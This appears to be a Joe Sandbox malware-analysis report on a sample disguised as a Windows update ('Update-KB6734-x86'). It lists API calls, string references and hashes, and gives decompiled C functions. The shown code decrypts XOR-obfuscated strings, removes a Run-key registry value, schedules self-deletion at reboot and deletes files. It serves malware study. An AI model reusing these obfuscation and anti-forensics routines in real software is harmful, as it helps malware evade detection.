0x00414f9d
0x00414fa4
0x00414fa6
0x00414fa6
0x00414fb1
0x00414fb7
0x00414fba
0x00414fc0
0x00414fdb
0x00414fe7
0x00414ff0
0x00414ff8
0x00415001
0x00415009
0x00415012
0x0041501a
0x00415023
0x0041502e
0x0041503d
0x00415057

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A5,00000000,00000001,00000001,00000000,00000000,00000001,00000001), ref: 00414E44
CreateThread.KERNEL32 ref: 00414E6E
CreateThread.KERNEL32 ref: 00414EF5
WaitForMultipleObjects.KERNEL32(0000000A,?,00000001,000000FF,?,00000001), ref: 00414F35

Strings

(, xrefs: 00414875
c, xrefs: 00414B93
-, xrefs: 004148CD
+, xrefs: 00414D98
L, xrefs: 00414D31
S, xrefs: 00414C0A
(, xrefs: 004149CF
-, xrefs: 00414C9C
C, xrefs: 00414ACB
*, xrefs: 0041490D
v, xrefs: 00414BE2
., xrefs: 00414AC3
&, xrefs: 00414C8C
7, xrefs: 00414D21
l, xrefs: 00414BF2
k, xrefs: 004148FD
*, xrefs: 00414895
\, xrefs: 004149BF
,, xrefs: 004148ED
v, xrefs: 00414AE3
X, xrefs: 00414ADB
Z, xrefs: 004149EF
6, xrefs: 004148AD
V, xrefs: 00414C7C
+, xrefs: 004148A5
z, xrefs: 00414D40
*, xrefs: 00414CE2
[, xrefs: 00414B5A
*, xrefs: 00414C74
H, xrefs: 00414A1F
), xrefs: 00414CD3
$, xrefs: 004148E5
(, xrefs: 00414915
Z, xrefs: 00414DC0
9, xrefs: 00414B3C
-, xrefs: 0041489D
g, xrefs: 00414A27
(, xrefs: 00414987
@, xrefs: 00414D80
(, xrefs: 004148DD
%, xrefs: 00414D88
}, xrefs: 00414CAC
D, xrefs: 00414CEA
), xrefs: 004148F5
w, xrefs: 00414A8D
,, xrefs: 004148BD
q, xrefs: 00414C3A
$, xrefs: 0041487D
E, xrefs: 00414BC2
*, xrefs: 00414AD3
5, xrefs: 0041498F
A, xrefs: 00414D48
p, xrefs: 00414DA8
&, xrefs: 00414905
1, xrefs: 004148C5
(, xrefs: 004148B5
8, xrefs: 00414D90
>, xrefs: 00414B69
}, xrefs: 00414AF3
@, xrefs: 004149AF
&, xrefs: 00414885
E, xrefs: 0041491D
/, xrefs: 0041488D
, xrefs: 00414AB4

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Create$Thread$EventMultipleObjectsWait
String ID: $$$$$%$&$&$&$($($($($($($)$)$*$*$*$*$*$+$+$,$,$-$-$-$.$/$1$5$6$7$8$9$>$@$@$A$C$D$E$E$H$L$S$V$X$Z$Z$[$\$c$g$k$l$p$q$v$v$w$z$}$}
API String ID: 235807246-2775756417
Opcode ID: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
Instruction ID: b6b29a9a05f7405d77ba8641239e9328c4f6afcdac9f5fec8354e56a50ce38c0
Opcode Fuzzy Hash: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
Instruction Fuzzy Hash: A522283110C7C18AE332C7689859BDFBFD45BA7318F484A9EE1E95B2D2C6B90109C767

Uniqueness

Uniqueness Score: -1.00%

Function 00413280, Relevance: 133.4, APIs: 18, Strings: 58, Instructions: 437
fileregistryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00413280(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				long _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				void* _v464;
				intOrPtr _t337;
				void* _t339;
				long _t341;
				void* _t345;
				void* _t349;
				void* _t353;
				CHAR* _t356;
				void* _t357;
				void* _t361;
				void* _t365;
				void* _t419;
				void** _t422;

				_t419 = __ebp;
				_t422 =  &_v464;
				_t337 =  *0x4310d8; // 0xa9302559
				_v4 = _t337;
				_v291 = 0xc7;
				_v280 = 0xc7;
				_v272 = 0xc7;
				_v268 = 0xc7;
				_v312 = 0xfa;
				_v311 = 0xe6;
				_v310 = 0xef;
				_v309 = 0xfd;
				_v308 = 0xfe;
				_v307 = 0xe8;
				_v306 = 0xfb;
				_v305 = 0xec;
				_v304 = 0xf5;
				_v303 = 0xe4;
				_v302 = 0xc0;
				_v301 = 0xca;
				_v300 = 0xdb;
				_v299 = 0xc6;
				_v298 = 0xda;
				_v297 = 0xc6;
				_v296 = 0xcf;
				_v295 = 0xdd;
				_v294 = 0xf5;
				_v293 = 0xfe;
				_v292 = 0xc0;
				_v290 = 0xcd;
				_v289 = 0xc6;
				_v288 = 0xde;
				_v287 = 0xda;
				_v286 = 0xf5;
				_v285 = 0xea;
				_v284 = 0xdc;
				_v283 = 0xdb;
				_v282 = 0xdb;
				_v281 = 0xcc;
				_v279 = 0xdd;
				_v278 = 0xff;
				_v277 = 0xcc;
				_v276 = 0xdb;
				_v275 = 0xda;
				_v274 = 0xc0;
				_v273 = 0xc6;
				_v271 = 0xf5;
				_v270 = 0xfb;
				_v269 = 0xdc;
				_v267 = 0xa9;
				_t339 = 0;
				do {
					 *(_t422 + _t339 + 0xa4) =  *(_t422 + _t339 + 0xa4) ^ 0x000000a9;
					_t339 = _t339 + 1;
				} while (_t339 < 0x2e);
				_t341 = RegOpenKeyA(0x80000002,  &_v312,  &_v464);
				if(_t341 == 0) {
					_v375 = _t341;
					_v380 = 0x74;
					_v379 = 0x73;
					_v378 = 0x65;
					_v377 = 0x72;
					_v376 = 0x76;
					RegDeleteValueA(_v464,  &_v380);
					RegCloseKey(_v464);
				}
				_push(_t419);
				GetModuleFileNameA(0,  &_v264, 0x104);
				MoveFileExA( &_v264, 0, 4);
				_v372 = 0x7b;
				_v371 = 0x3a;
				_v370 = 0x59;
				_v369 = 0xfe;
				_v368 = 0x78;
				_v367 = 0xb0;
				_v366 = 0xb1;
				_v365 = 0x27;
				_v364 = 0x34;
				_v363 = 0xf8;
				_v362 = 0x7f;
				_v361 = 0x7a;
				_v360 = 6;
				_v359 = 0x30;
				_v358 = 0xcb;
				_v357 = 0xef;
				_v356 = 0x87;
				_v355 = 0xae;
				_v354 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x98;
				_v444 = 0xe6;
				_v443 = 0xd6;
				_v442 = 0xc9;
				_t345 = 0;
				do {
					_t104 = _t345 + 0x6c; // 0x7b
					 *(_t422 + _t345 + 0x6c) =  *(_t422 + _t104) ^  *(_t422 + _t345 + 0x14);
					_t345 = _t345 + 1;
				} while (_t345 < 0x13);
				ExpandEnvironmentStringsA( &_v372,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v332 = 0x7b;
				_v331 = 0x3a;
				_v330 = 0x59;
				_v329 = 0xfe;
				_v328 = 0x78;
				_v327 = 0xb0;
				_v326 = 0xb1;
				_v325 = 0x27;
				_v324 = 0x34;
				_v323 = 0xf8;
				_v322 = 0x7f;
				_v321 = 0x7a;
				_v320 = 6;
				_v319 = 0x30;
				_v318 = 0xcb;
				_v317 = 0xef;
				_v316 = 0x87;
				_v315 = 0xae;
				_v314 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x88;
				_v444 = 0xe1;
				_v443 = 0xd6;
				_v442 = 0xc9;
				_t349 = 0;
				do {
					 *(_t422 + _t349 + 0x94) =  *(_t422 + _t349 + 0x94) ^  *(_t422 + _t349 + 0x14);
					_t349 = _t349 + 1;
				} while (_t349 < 0x13);
				ExpandEnvironmentStringsA( &_v332,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v352 = 0x7b;
				_v351 = 0x3a;
				_v350 = 0x59;
				_v349 = 0xfe;
				_v348 = 0x78;
				_v347 = 0xb0;
				_v346 = 0xb1;
				_v345 = 0x27;
				_v344 = 0x34;
				_v343 = 0xf8;
				_v342 = 0x7f;
				_v341 = 0x7a;
				_v340 = 6;
				_v339 = 0x30;
				_v338 = 0xcb;
				_v337 = 0xef;
				_v336 = 0x87;
				_v335 = 0xae;
				_v334 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x8b;
				_v444 = 0xeb;
				_v443 = 0xc2;
				_v442 = 0xc9;
				_t353 = 0;
				do {
					 *(_t422 + _t353 + 0x80) =  *(_t422 + _t353 + 0x80) ^  *(_t422 + _t353 + 0x14);
					_t353 = _t353 + 1;
				} while (_t353 < 0x13);
				ExpandEnvironmentStringsA( &_v352,  &_v264, 0x104);
				_t356 = DeleteFileA( &_v264);
				if(_t356 == 0) {
					MoveFileExA( &_v264, _t356, 4);
				}
				_v400 = 0x7b;
				_v399 = 0x3a;
				_v398 = 0x59;
				_v397 = 0xfe;
				_v396 = 0x78;
				_v395 = 0xb0;
				_v394 = 0xb1;
				_v393 = 0x27;
				_v392 = 0x34;
				_v391 = 0xf8;
				_v390 = 0x7f;
				_v389 = 0x7a;
				_v388 = 6;
				_v387 = 0x30;
				_v386 = 0xcb;
				_v385 = 0xef;
				_v384 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x95;
				_v444 = 0x87;
				_t357 = 0;
				do {
					 *(_t422 + _t357 + 0x4c) =  *(_t422 + _t357 + 0x4c) ^  *(_t422 + _t357 + 0x10);
					_t357 = _t357 + 1;
				} while (_t357 < 0x11);
				ExpandEnvironmentStringsA( &_v400,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v440 = 0x7b;
				_v439 = 0x3a;
				_v438 = 0x59;
				_v437 = 0xfe;
				_v436 = 0x78;
				_v435 = 0xb0;
				_v434 = 0xb1;
				_v433 = 0x27;
				_v432 = 0x34;
				_v431 = 0xf8;
				_v430 = 0x7f;
				_v429 = 0x7a;
				_v428 = 6;
				_v427 = 0x30;
				_v426 = 0xcb;
				_v425 = 0xef;
				_v424 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x9c;
				_v444 = 0x87;
				_t361 = 0;
				do {
					 *(_t422 + _t361 + 0x24) =  *(_t422 + _t361 + 0x24) ^  *(_t422 + _t361 + 0x10);
					_t361 = _t361 + 1;
				} while (_t361 < 0x11);
				ExpandEnvironmentStringsA( &_v440,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v420 = 0x7b;
				_v419 = 0x3a;
				_v418 = 0x59;
				_v417 = 0xfe;
				_v416 = 0x78;
				_v415 = 0xb0;
				_v414 = 0xb1;
				_v413 = 0x27;
				_v412 = 0x34;
				_v411 = 0xf8;
				_v410 = 0x7f;
				_v409 = 0x7a;
				_v408 = 6;
				_v407 = 0x30;
				_v406 = 0xcb;
				_v405 = 0xef;
				_v404 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x8c;
				_v444 = 0x87;
				_t365 = 0;
				do {
					 *(_t422 + _t365 + 0x38) =  *(_t422 + _t365 + 0x38) ^  *(_t422 + _t365 + 0x10);
					_t365 = _t365 + 1;
				} while (_t365 < 0x11);
				ExpandEnvironmentStringsA( &_v420,  &_v264, 0x104);
				return E00424873(DeleteFileA( &_v264), _v4);
			}

0x00413280
0x00413280
0x00413286
0x0041328c
0x0041329c
0x004132a3
0x004132aa
0x004132b1
0x004132b9
0x004132c1
0x004132c9
0x004132d1
0x004132d9
0x004132e1
0x004132e9
0x004132f1
0x004132f9
0x00413300
0x00413308
0x00413310
0x00413318
0x0041331f
0x00413326
0x0041332e
0x00413335
0x0041333d
0x00413345
0x0041334c
0x00413354
0x0041335c
0x00413364
0x0041336b
0x00413373
0x0041337b
0x00413382
0x0041338a
0x00413392
0x00413399
0x004133a0
0x004133a8
0x004133b0
0x004133b8
0x004133c0
0x004133c7
0x004133cf
0x004133d7
0x004133de
0x004133e5
0x004133ed
0x004133f5
0x004133fd
0x00413400
0x00413400
0x00413408
0x00413409
0x00413420
0x00413428
0x0041342e
0x00413438
0x0041343d
0x00413442
0x00413447
0x0041344c
0x00413451
0x0041345c
0x0041345c
0x00413462
0x00413472
0x0041348a
0x0041348e
0x00413493
0x00413498
0x0041349d
0x004134a2
0x004134a7
0x004134ab
0x004134b0
0x004134b5
0x004134ba
0x004134bf
0x004134c4
0x004134c9
0x004134ce
0x004134d3
0x004134d8
0x004134dd
0x004134e2
0x004134e7
0x004134ec
0x004134f1
0x004134f6
0x004134fb
0x004134ff
0x00413504
0x00413509
0x0041350e
0x00413513
0x00413518
0x0041351d
0x00413522
0x00413527
0x0041352c
0x00413531
0x00413536
0x0041353b
0x00413540
0x00413545
0x0041354a
0x00413550
0x00413550
0x0041355a
0x0041355e
0x0041355f
0x0041357c
0x0041358c
0x0041358e
0x00413596
0x0041359e
0x004135a6
0x004135ae
0x004135b6
0x004135bd
0x004135c5
0x004135cd
0x004135d5
0x004135dd
0x004135e5
0x004135ed
0x004135f5
0x004135fd
0x00413605
0x0041360d
0x00413615
0x0041361d
0x00413625
0x0041362a
0x0041362f
0x00413634
0x00413638
0x0041363d
0x00413642
0x00413647
0x0041364c
0x00413651
0x00413656
0x0041365b
0x00413660
0x00413665
0x0041366a
0x0041366f
0x00413674
0x00413679
0x0041367e
0x00413683
0x00413690
0x0041369d
0x004136a4
0x004136a5
0x004136bf
0x004136c9
0x004136cb
0x004136d3
0x004136db
0x004136e3
0x004136eb
0x004136f3
0x004136fa
0x00413702
0x0041370a
0x00413712
0x0041371a
0x00413722
0x0041372a
0x00413732
0x0041373a
0x00413742
0x0041374a
0x00413752
0x0041375a
0x00413762
0x00413767
0x0041376c
0x00413771
0x00413775
0x0041377a
0x0041377f
0x00413784
0x00413789
0x0041378e
0x00413793
0x00413798
0x0041379d
0x004137a2
0x004137a7
0x004137ac
0x004137b1
0x004137b6
0x004137bb
0x004137c0
0x004137c2
0x004137cf
0x004137d6
0x004137d7
0x004137f1
0x004137fb
0x004137ff
0x0041380c
0x0041380c
0x0041380e
0x00413813
0x00413818
0x0041381d
0x00413822
0x00413827
0x0041382b
0x00413830
0x00413835
0x0041383a
0x0041383f
0x00413844
0x00413849
0x0041384e
0x00413853
0x00413858
0x0041385d
0x00413862
0x00413867
0x0041386c
0x00413871
0x00413875
0x0041387a
0x0041387f
0x00413884
0x00413889
0x0041388e
0x00413893
0x00413898
0x0041389d
0x004138a2
0x004138a7
0x004138ac
0x004138b1
0x004138b6
0x004138c0
0x004138ca
0x004138ce
0x004138cf
0x004138e6
0x004138f0
0x004138f2
0x004138f7
0x004138fc
0x00413901
0x00413906
0x0041390b
0x0041390f
0x00413914
0x00413919
0x0041391e
0x00413923
0x00413928
0x0041392d
0x00413932
0x00413937
0x0041393c
0x00413941
0x00413946
0x0041394b
0x00413950
0x00413955
0x00413959
0x0041395e
0x00413963
0x00413968
0x0041396d
0x00413972
0x00413977
0x0041397c
0x00413981
0x00413986
0x0041398b
0x00413990
0x00413995
0x0041399a
0x004139a0
0x004139aa
0x004139ae
0x004139af
0x004139c6
0x004139d0
0x004139d2
0x004139d7
0x004139dc
0x004139e1
0x004139e6
0x004139eb
0x004139ef
0x004139f4
0x004139f9
0x004139fe
0x00413a03
0x00413a08
0x00413a0d
0x00413a12
0x00413a17
0x00413a1c
0x00413a21
0x00413a26
0x00413a2b
0x00413a30
0x00413a35
0x00413a39
0x00413a3e
0x00413a43
0x00413a48
0x00413a4d
0x00413a52
0x00413a57
0x00413a5c
0x00413a61
0x00413a66
0x00413a6b
0x00413a70
0x00413a75
0x00413a7a
0x00413a80
0x00413a8a
0x00413a8e
0x00413a8f
0x00413aa6
0x00413ac7

APIs

RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
RegCloseKey.ADVAPI32(?), ref: 0041345C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
MoveFileExA.KERNEL32 ref: 0041348A
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 0041357C
DeleteFileA.KERNEL32(?), ref: 0041358C
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
MoveFileExA.KERNEL32 ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

z, xrefs: 00413A08
x, xrefs: 00413822
m, xrefs: 00413A2B
Y, xrefs: 004138FC
x, xrefs: 004135AE
:, xrefs: 004136D3
Y, xrefs: 004139DC
', xrefs: 00413830
<, xrefs: 00413A39
s, xrefs: 0041343D
', xrefs: 00413914
Y, xrefs: 0041359E
4, xrefs: 004139F9
t, xrefs: 00413438
z, xrefs: 00413928
{, xrefs: 004138F2
x, xrefs: 004139E6
:, xrefs: 00413596
{, xrefs: 0041358E
t, xrefs: 00413A61
0, xrefs: 004135F5
4, xrefs: 004135CD
F, xrefs: 004138A2
z, xrefs: 00413844
r, xrefs: 00413447
t, xrefs: 0041389D
z, xrefs: 00413722
0, xrefs: 0041384E
4, xrefs: 00413835
4, xrefs: 00413919
4, xrefs: 0041370A
', xrefs: 00413702
x, xrefs: 004136EB
^, xrefs: 00413A26
:, xrefs: 00413813
4, xrefs: 004134B5
:, xrefs: 004138F7
Y, xrefs: 00413818
z, xrefs: 004134C4
Y, xrefs: 004136DB
', xrefs: 004134B0
', xrefs: 004135C5
e, xrefs: 00413442
{, xrefs: 0041380E
0, xrefs: 00413A12
h, xrefs: 00413A4D
z, xrefs: 004135E5
x, xrefs: 00413906
0, xrefs: 004134CE
m, xrefs: 00413867
:, xrefs: 004139D7
{, xrefs: 004136CB
0, xrefs: 00413732
F, xrefs: 00413A66
0, xrefs: 00413932
', xrefs: 004139F4
{, xrefs: 004139D2
{rest, xrefs: 00413550

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$Delete$EnvironmentExpandStrings$Move$CloseModuleNameOpenValue
String ID: '$'$'$'$'$'$0$0$0$0$0$0$4$4$4$4$4$4$:$:$:$:$:$<$F$F$Y$Y$Y$Y$Y$^$e$h$m$m$r$s$t$t$t$x$x$x$x$x$z$z$z$z$z$z${${${${${${rest
API String ID: 3238871166-1982327307
Opcode ID: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
Instruction ID: 8932c8d423f86795222f4535f9e39ef289d62bf3872af0266dd33df7fd326858
Opcode Fuzzy Hash: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
Instruction Fuzzy Hash: 5042961110D7C2C9D332D67C984878FBFD51BA7228F484F8DE1E95B2E2C6A98249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00422920, Relevance: 128.1, APIs: 14, Strings: 59, Instructions: 373
memoryregistryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00422920(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				intOrPtr _v168;
				int _v172;
				int _v176;
				void* _v180;
				intOrPtr _t202;
				void* _t207;
				void* _t217;
				void* _t235;
				void* _t237;
				intOrPtr* _t238;
				void* _t240;
				unsigned int _t241;
				void* _t244;
				void* _t246;
				void* _t247;
				void* _t255;
				void _t261;
				signed int _t265;
				signed int _t266;
				void _t271;
				intOrPtr _t272;
				void _t273;
				void _t274;
				signed int _t276;
				void _t281;
				char _t282;
				void* _t291;
				void* _t294;
				void* _t295;
				void* _t296;
				void* _t298;
				intOrPtr _t301;
				void* _t302;
				void* _t306;
				int _t312;
				char* _t313;
				void* _t314;
				void* _t316;
				void* _t318;
				int* _t320;

				_t320 =  &_v172;
				_t202 =  *0x4310d8; // 0xa9302559
				_v4 = _t202;
				_v134 = 0x7c;
				_v131 = 0x7c;
				_v149 = 0x7c;
				_v136 = 0x54;
				_v135 = 0x2c;
				_v133 = 0xc;
				_v132 = 0x12;
				_v130 = 0x2c;
				_v129 = 0xe7;
				_v128 = 0x50;
				_v127 = 0x8d;
				_v126 = 0x53;
				_v125 = 0x29;
				_v124 = 0xa2;
				_v123 = 0xa8;
				_v122 = 0x4e;
				_v121 = 0x45;
				_v120 = 0xc5;
				_v156 = 0x19;
				_v155 = 0x47;
				_v154 = 0xee;
				_v153 = 0x5d;
				_v152 = 0x22;
				_v151 = 0xb8;
				_v150 = 0xd;
				_v148 = 0xe1;
				_v147 = 0xa7;
				_v146 = 0xf;
				_v145 = 0xe;
				_v144 = 0x8c;
				_v143 = 0xbc;
				_v142 = 0x1e;
				_v141 = 0x27;
				_v140 = 0x3b;
				_t312 = 0;
				do {
					 *((intOrPtr*)(_t320 + _t312 + 0x34)) =  *((intOrPtr*)(_t320 + _t312 + 0x34)) +  *((intOrPtr*)(_t320 + _t312 + 0x20));
					_t312 = _t312 + 1;
				} while (_t312 < 0x11);
				_v115 = 0x1e;
				_v105 = 0xc3;
				_v101 = 0xc3;
				_v116 = 0x36;
				_v114 = 0x25;
				_v113 = 0x12;
				_v112 = 0x52;
				_v111 = 0x96;
				_v110 = 0xad;
				_v109 = 0x9e;
				_v108 = 0xbf;
				_v107 = 0x75;
				_v106 = 0xdd;
				_v104 = 0xce;
				_v103 = 0x7d;
				_v102 = 0xa8;
				_v100 = 0x95;
				_v99 = 0x7b;
				_v98 = 0xa8;
				_v97 = 0;
				_v96 = 0xc3;
				_v95 = 0x16;
				_v94 = 0x94;
				_v93 = 0x19;
				_v92 = 0x2f;
				_v91 = 0xd6;
				_v90 = 0x67;
				_v89 = 0x14;
				_v88 = 0x50;
				_v87 = 0xf4;
				_v86 = 0x54;
				_v85 = 0x88;
				_v84 = 0xfc;
				_v83 = 0xc;
				_v82 = 0xf4;
				_v81 = 0x2c;
				_v80 = 0x57;
				_v79 = 0xc3;
				_v78 = 0x4b;
				_v77 = 0x53;
				_v76 = 7;
				_v75 = 0x34;
				_v74 = 0x85;
				_v73 = 0x3f;
				_v72 = 0xb1;
				_v71 = 0x35;
				_v70 = 0x9f;
				_v69 = 0xc0;
				_v68 = 0xd2;
				_v67 = 0xbf;
				_v66 = 0x4e;
				_v65 = 0xc;
				_v64 = 0x87;
				_v60 = 0x87;
				_v59 = 0x7f;
